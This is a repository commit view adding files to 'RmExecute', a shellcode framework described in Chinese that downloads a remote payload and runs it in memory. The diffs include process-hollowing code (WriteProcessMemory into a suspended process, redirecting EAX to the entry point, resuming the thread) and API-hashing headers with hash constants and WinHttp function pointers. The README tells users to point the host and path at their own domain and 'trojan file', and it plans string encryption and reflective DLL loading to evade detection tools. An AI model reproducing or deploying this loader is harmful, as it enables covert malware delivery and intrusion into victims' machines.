||||
return 1;
|
||||
}
|
||||
else {
|
||||
// Write the image to the process
|
||||
fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
|
||||
for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
|
||||
{
|
||||
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40));
|
||||
fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
|
||||
}
|
||||
fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
|
||||
|
||||
// Move address of entry point to the eax register
|
||||
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
|
||||
fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
|
||||
fn.fnResumeThread(PI.hThread); //?Start the process/call main()
|
||||
}
|
||||
|
||||
return true; // Operation was successful.
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
|
@ -0,0 +1,234 @@
|
|||
#pragma once
|
||||
#include "hash.h"
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
//计算哈希值
|
||||
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
|
||||
|
||||
//重新定义PEB结构。winternl.h中的结构定义是不完整的。
|
||||
typedef struct _MY_PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
BOOL Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _MY_LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
|
||||
//定义函数指针
|
||||
|
||||
// Kernel32
|
||||
|
||||
typedef LPVOID (WINAPI* pfnVirtualAlloc)(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
typedef DWORD(WINAPI* pfnGetModuleFileNameA)(
|
||||
HMODULE hModule,
|
||||
LPSTR lpFilename,
|
||||
DWORD nSize
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *pfnCreateProcessA)(
|
||||
LPCSTR lpApplicationName,
|
||||
LPSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOA lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
typedef BOOL (WINAPI * pfnGetThreadContext)(
|
||||
HANDLE hThread,
|
||||
LPCONTEXT lpContext
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI * pfnReadProcessMemory)(
|
||||
HANDLE hProcess,
|
||||
LPCVOID lpBaseAddress,
|
||||
LPVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T* lpNumberOfBytesRead
|
||||
);
|
||||
|
||||
typedef LPVOID (WINAPI * pfnVirtualAllocEx)(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI * pfnWriteProcessMemory)(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpBaseAddress,
|
||||
LPCVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T* lpNumberOfBytesWritten
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI* pfnSetThreadContext)(
|
||||
HANDLE hThread,
|
||||
const CONTEXT* lpContext
|
||||
);
|
||||
|
||||
|
||||
typedef DWORD (WINAPI* pfnResumeThread)(
|
||||
HANDLE hThread
|
||||
);
|
||||
|
||||
typedef HMODULE(WINAPI* pfnLoadLibraryA)(LPCSTR lpLibFileName);
|
||||
|
||||
//user_32
|
||||
|
||||
typedef int (WINAPI *pfnMessageBoxA)(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType);
|
||||
|
||||
|
||||
|
||||
// Msvcrt
|
||||
typedef void* (__cdecl* pfnmalloc)(size_t _Size);
|
||||
typedef void (WINAPI* pfnfree)(void* _Memory);
|
||||
typedef void* (WINAPI* pfnmemset)(_Out_writes_bytes_all_(_Size) void* _Dst, _In_ int _Val, _In_ size_t _Size);
|
||||
typedef void* (WINAPI* pfnmemcpy)(void* _Dst, const void* _Src, _In_ size_t _Size);
|
||||
typedef void(WINAPI* pfnsrand)(_In_ unsigned int _Seed);
|
||||
typedef __time32_t(WINAPI* pfn_time32)(_Out_opt_ __time32_t* _Time);
|
||||
typedef int(WINAPI* pfnrand)(void);
|
||||
typedef char* (WINAPI* pfnstrrchr)(_In_z_ const char* _Str, _In_ int _Ch);
|
||||
typedef size_t(WINAPI* pfnstrlen)(_In_z_ const char* _Str);
|
||||
typedef void* (WINAPI* pfmemmove)(_Out_writes_bytes_all_opt_(_Size) void* _Dst, _In_reads_bytes_opt_(_Size) const void* _Src, _In_ size_t _Size);
|
||||
typedef int(__cdecl* pfnmemcmp)(_In_reads_bytes_(_Size) const void* _Buf1, _In_reads_bytes_(_Size) const void* _Buf2, _In_ size_t _Size);
|
||||
typedef char* (WINAPI* pfnstrcpy)(char* _Dest, const char* _Source);
|
||||
typedef char* (WINAPI* pfnstrcat)(char* _Dest, _In_z_ const char* _Source);
|
||||
|
||||
|
||||
//WinHttp
|
||||
typedef LPVOID HINTERNET;
|
||||
typedef HINTERNET* LPHINTERNET;
|
||||
|
||||
typedef WORD INTERNET_PORT;
|
||||
|
||||
typedef INTERNET_PORT* LPINTERNET_PORT;
|
||||
typedef HINTERNET(WINAPI * pfnWinHttpOpen)(
|
||||
LPCWSTR pszAge,
|
||||
DWORD dwAccessType,
|
||||
LPCWSTR pszProxyW,
|
||||
LPCWSTR pszProxyBypassW,
|
||||
DWORD dwFlags
|
||||
);
|
||||
|
||||
typedef HINTERNET (WINAPI* pfnWinHttpConnect)(
|
||||
HINTERNET hSession,
|
||||
LPCWSTR pswzServerName,
|
||||
INTERNET_PORT nServerPort,
|
||||
DWORD dwReserved
|
||||
);
|
||||
|
||||
typedef HINTERNET (WINAPI *pfnWinHttpOpenRequest)(
|
||||
HINTERNET hConnect,
|
||||
LPCWSTR pwszVerb,
|
||||
LPCWSTR pwszObjectName,
|
||||
LPCWSTR pwszVersion,
|
||||
LPCWSTR pwszReferrer,
|
||||
LPCWSTR* ppwszAcceptTypes,
|
||||
DWORD dwFlags
|
||||
);
|
||||
typedef BOOL(WINAPI* pfnWinHttpAddRequestHeaders)(
|
||||
HINTERNET hRequest,
|
||||
LPCWSTR lpszHeaders,
|
||||
DWORD dwHeadersLength,
|
||||
DWORD dwModifiers
|
||||
);
|
||||
|
||||
typedef BOOL(WINAPI* pfnWinHttpSendRequest)(
|
||||
HINTERNET hRequest,
|
||||
LPCWSTR lpszHeaders,
|
||||
DWORD dwHeadersLength,
|
||||
LPVOID lpOptional,
|
||||
DWORD dwOptionalLength,
|
||||
DWORD dwTotalLength,
|
||||
DWORD_PTR dwContext
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI* pfnWinHttpReceiveResponse)(
|
||||
HINTERNET hRequest,
|
||||
LPVOID lpReserved
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI* pfnWinHttpQueryDataAvailable)(
|
||||
HINTERNET hRequest,
|
||||
LPDWORD lpdwNumberOfBytesAvailable
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI* pfnWinHttpReadData)(
|
||||
HINTERNET hRequest,
|
||||
LPVOID lpBuffer,
|
||||
DWORD dwNumberOfBytesToRead,
|
||||
LPDWORD lpdwNumberOfBytesRead
|
||||
);
|
||||
typedef BOOL (WINAPI* pfnWinHttpCloseHandle)(
|
||||
HINTERNET hInternet
|
||||
);
|
||||
|
||||
|
||||
|
||||
//函数指针结构体
|
||||
typedef struct _FUNCTIONS
|
||||
{
|
||||
pfnVirtualAlloc fnVirtualAlloc;
|
||||
pfnGetModuleFileNameA fnGetModuleFileNameA;
|
||||
pfnCreateProcessA fnCreateProcessA;
|
||||
pfnGetThreadContext fnGetThreadContext;
|
||||
pfnReadProcessMemory fnReadProcessMemory;
|
||||
pfnVirtualAllocEx fnVirtualAllocEx;
|
||||
pfnWriteProcessMemory fnWriteProcessMemory;
|
||||
pfnSetThreadContext fnSetThreadContext;
|
||||
pfnResumeThread fnResumeThread;
|
||||
|
||||
pfnLoadLibraryA fnLoadLibraryA;
|
||||
|
||||
|
||||
|
||||
pfnMessageBoxA fnMessageBoxA;
|
||||
pfnmalloc fnmalloc;
|
||||
pfnfree fnfree;
|
||||
pfnmemset fnmemset;
|
||||
pfnmemcpy fnmemcpy;
|
||||
pfnmemcmp fnmemcmp;
|
||||
pfnsrand fnsrand;
|
||||
pfnrand fnrand;
|
||||
pfnstrlen fnstrlen;
|
||||
|
||||
pfnstrcpy fnstrcpy;
|
||||
pfnstrcat fnstrcat;
|
||||
|
||||
pfnWinHttpOpen fnWinHttpOpen;
|
||||
pfnWinHttpConnect fnWinHttpConnect;
|
||||
pfnWinHttpOpenRequest fnWinHttpOpenRequest;
|
||||
pfnWinHttpAddRequestHeaders fnWinHttpAddRequestHeaders;
|
||||
pfnWinHttpSendRequest fnWinHttpSendRequest;
|
||||
pfnWinHttpReceiveResponse fnWinHttpReceiveResponse;
|
||||
pfnWinHttpQueryDataAvailable fnWinHttpQueryDataAvailable;
|
||||
pfnWinHttpReadData fnWinHttpReadData;
|
||||
pfnWinHttpCloseHandle fnWinHttpCloseHandle;
|
||||
|
||||
}Functions,*Pfunctions;
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
#define HASH_VirtualAlloc 0xE553A458
|
||||
#define HASH_GetModuleFileNameA 0xFE61445D
|
||||
#define HASH_LoadLibraryA 0x0726774C
|
||||
#define HASH_CreateProcessA 0x863FCC79
|
||||
#define HASH_GetThreadContext 0xD1425C18
|
||||
#define HASH_ReadProcessMemory 0x71F9D3C2
|
||||
#define HASH_VirtualAllocEx 0x3F9287AE
|
||||
#define HASH_WriteProcessMemory 0xE7BDD8C5
|
||||
#define HASH_SetThreadContext 0xD14E5C18
|
||||
#define HASH_ResumeThread 0x8EF4092B
|
||||
|
||||
#define HASH_MessageBoxA 0x07568345
|
||||
|
||||
#define HASH_malloc 0x7EA37D50
|
||||
#define HASH_free 0x08FF1A9F
|
||||
#define HASH_memset 0x8D2B8AD2
|
||||
#define HASH_memcmp 0x6D0B8CD2
|
||||
#define HASH_memcpy 0x6D538D92
|
||||
#define HASH_strlen 0xFF13DAD9
|
||||
#define HASH_strcpy 0xED6BDD99
|
||||
#define HASH_strcat 0xED43D9D9
|
||||
|
||||
#define HASH_WinHttpOpen 0xBB9D1F04
|
||||
#define HASH_WinHttpConnect 0xC21E9B46
|
||||
#define HASH_WinHttpOpenRequest 0x5BB31098
|
||||
#define HASH_WinHttpAddRequestHeaders 0x6DF126A0
|
||||
#define HASH_WinHttpSendRequest 0x91BB5895
|
||||
#define HASH_WinHttpReceiveResponse 0x709D8805
|
||||
#define HASH_WinHttpQueryDataAvailable 0x4A050E50
|
||||
#define HASH_WinHttpReadData 0x7E24296C
|
||||
#define HASH_WinHttpCloseHandle 0x5DAEF12F
|
||||
|
|
@ -0,0 +1 @@
|
|||
213
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
// stdafx.cpp : 只包括标准包含文件的源文件
|
||||
// RcDllShelcode.pch 将作为预编译头
|
||||
// stdafx.obj 将包含预编译类型信息
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: 在 STDAFX.H 中
|
||||
// 引用任何所需的附加头文件，而不是在此文件中引用
|
||||
|
|
@ -0,0 +1,113 @@
|
|||
// stdafx.h : 标准系统包含文件的包含文件，
|
||||
// 或是经常使用但不常更改的
|
||||
// 特定于项目的包含文件
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
/*
|
||||
#define VMP_BEGINV \
|
||||
_asm _emit 0xEB \
|
||||
_asm _emit 0x10 \
|
||||
_asm _emit 0x56 \
|
||||
_asm _emit 0x4D \
|
||||
_asm _emit 0x50 \
|
||||
_asm _emit 0x72 \
|
||||
_asm _emit 0x6F \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x63 \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x20 \
|
||||
_asm _emit 0x62 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x67 \
|
||||
_asm _emit 0x69 \
|
||||
_asm _emit 0x6E \
|
||||
_asm _emit 0x01
|
||||
|
||||
#define VMP_BEGINM \
|
||||
_asm _emit 0xEB \
|
||||
_asm _emit 0x10 \
|
||||
_asm _emit 0x56 \
|
||||
_asm _emit 0x4D \
|
||||
_asm _emit 0x50 \
|
||||
_asm _emit 0x72 \
|
||||
_asm _emit 0x6F \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x63 \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x20 \
|
||||
_asm _emit 0x62 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x67 \
|
||||
_asm _emit 0x69 \
|
||||
_asm _emit 0x6E \
|
||||
_asm _emit 0x02
|
||||
|
||||
|
||||
#define VMP_BEGINU \
|
||||
_asm _emit 0xEB \
|
||||
_asm _emit 0x10 \
|
||||
_asm _emit 0x56 \
|
||||
_asm _emit 0x4D \
|
||||
_asm _emit 0x50 \
|
||||
_asm _emit 0x72 \
|
||||
_asm _emit 0x6F \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x63 \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x20 \
|
||||
_asm _emit 0x62 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x67 \
|
||||
_asm _emit 0x69 \
|
||||
_asm _emit 0x6E \
|
||||
_asm _emit 0x03
|
||||
|
||||
#define VMP_BEGIN \
|
||||
_asm _emit 0xEB \
|
||||
_asm _emit 0x10 \
|
||||
_asm _emit 0x56 \
|
||||
_asm _emit 0x4D \
|
||||
_asm _emit 0x50 \
|
||||
_asm _emit 0x72 \
|
||||
_asm _emit 0x6F \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x63 \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x20 \
|
||||
_asm _emit 0x62 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x67 \
|
||||
_asm _emit 0x69 \
|
||||
_asm _emit 0x6E \
|
||||
_asm _emit 0x00
|
||||
|
||||
#define VMP_END \
|
||||
_asm _emit 0xEB \
|
||||
_asm _emit 0x0E \
|
||||
_asm _emit 0x56 \
|
||||
_asm _emit 0x4D \
|
||||
_asm _emit 0x50 \
|
||||
_asm _emit 0x72 \
|
||||
_asm _emit 0x6F \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x63 \
|
||||
_asm _emit 0x74 \
|
||||
_asm _emit 0x20 \
|
||||
_asm _emit 0x65 \
|
||||
_asm _emit 0x6E \
|
||||
_asm _emit 0x64 \
|
||||
_asm _emit 0x00
|
||||
// TODO: 在此处引用程序需要的其他头文件
|
||||
*/
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
#pragma once
|
||||
|
||||
// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
|
||||
|
||||
// 如果要为以前的 Windows 平台生成应用程序，请包括 WinSDKVer.h，并将
|
||||
// WIN32_WINNT 宏设置为要支持的平台，然后再包括 SDKDDKVer.h。
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
|
|
@ -0,0 +1,77 @@
|
|||
# RmExecute
|
||||
|
||||
Remote Download and Memory Execute for shellcode framework
|
||||
|
||||
远程下载并内存加载的ShellCode框架，暂不支持X64
|
||||
|
||||
# 参（抄）考（袭）项目
|
||||
|
||||
## [windows下shellcode提取模板的实现](https://bbs.pediy.com/thread-229398.htm)
|
||||
|
||||
主要抄袭来源，直接使用这位大佬的shellcode框架，并且强烈推荐看下他文章内的doc，分析的非常好
|
||||
|
||||
## [PIC_Bindshell](https://github.com/mattifestation/PIC_Bindshell)
|
||||
|
||||
windows api hashing部分直接搬过来的
|
||||
|
||||
## (ReflectiveDLLInjection)[https://github.com/stephenfewer/ReflectiveDLLInjection]
|
||||
|
||||
准备抄袭
|
||||
|
||||
## [开（犯）发（罪）过程](https://9bie.org/index.php/archives/750/)
|
||||
|
||||
# 效果图
|
||||
|
||||
|
||||
|
||||
# How to use
|
||||
|
||||
## 开箱即用
|
||||
|
||||
修改`ShellCode.cpp->StartSCode`函数中的host和path改为您的域名和木马文件即可，之后使用`Release`模式运行，即会在目录下生成`123.bin`文件，之后使用`EXE_RUN_MT`模式编译运行即可加载`123.bin`文件
|
||||
|
||||
或是自行调用`123.bin`文件
|
||||
|
||||
## 添加API
|
||||
|
||||
使用目录下的`Get-FunctionsHash.ps1`脚本添加API HASH到hash.h
|
||||
|
||||
|
||||
|
||||
之后在`API.H`中添加相关WINAPI 函数指针，作为搜索地址后调用的方式，之后在`API.H->FUNCTIONS`结构体中添加相关成员
|
||||
|
||||
之后在`Tool.h->RmExecute::Initfunctions`函数中调用
|
||||
|
||||
```c
|
||||
char szUser32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
|
||||
pfn->fnLoadLibraryA(szUser32);
|
||||
pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA);
|
||||
```
|
||||
搜索函数来加载WINAPI。
|
||||
|
||||
之后就可以使用
|
||||
`fn.fnMessageBox(0, "text", "text", MB_OK);`这样形式来调用winapi了。
|
||||
|
||||
|
||||
## 字符串相关
|
||||
|
||||
参考第一个引用的文章链接，字符串必须要使用`{'a','b','\0'};`这样子的立即数形式
|
||||
|
||||
# 进阶 （很快）
|
||||
|
||||
## 使用XOR加密字符串
|
||||
|
||||
隐藏loadlibrary特征和url特征，更不容易被发现
|
||||
|
||||
## X64支持
|
||||
|
||||
自行调试`Tool.h->RunPortableExecutable`函数，大概就是加个X64宏把EAX什么换成RAX(应该
|
||||
|
||||
## 反射DLL加载技术
|
||||
|
||||
完全不使用LoadLibrary，ProcessExplorer、procexp64等工具无法检测到这个dll，同时让程序变得模块化
|
||||
|
||||
## 纯shellcode加载
|
||||
|
||||
太奢侈了我就是想想
|
||||
|
||||
Loading…
Reference in New Issue